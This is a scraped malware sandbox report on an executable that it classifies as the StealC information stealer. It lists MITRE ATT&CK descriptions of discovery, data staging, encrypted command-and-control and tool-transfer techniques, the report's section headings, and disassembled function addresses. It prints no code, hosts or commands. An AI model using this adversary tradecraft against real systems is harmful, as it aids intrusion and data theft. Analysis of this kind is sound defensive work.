Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00149860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 001345C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00134880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00149C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00136280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00145510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 001417A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00147500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 001469F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00131220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00146AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 001347B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 001451F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON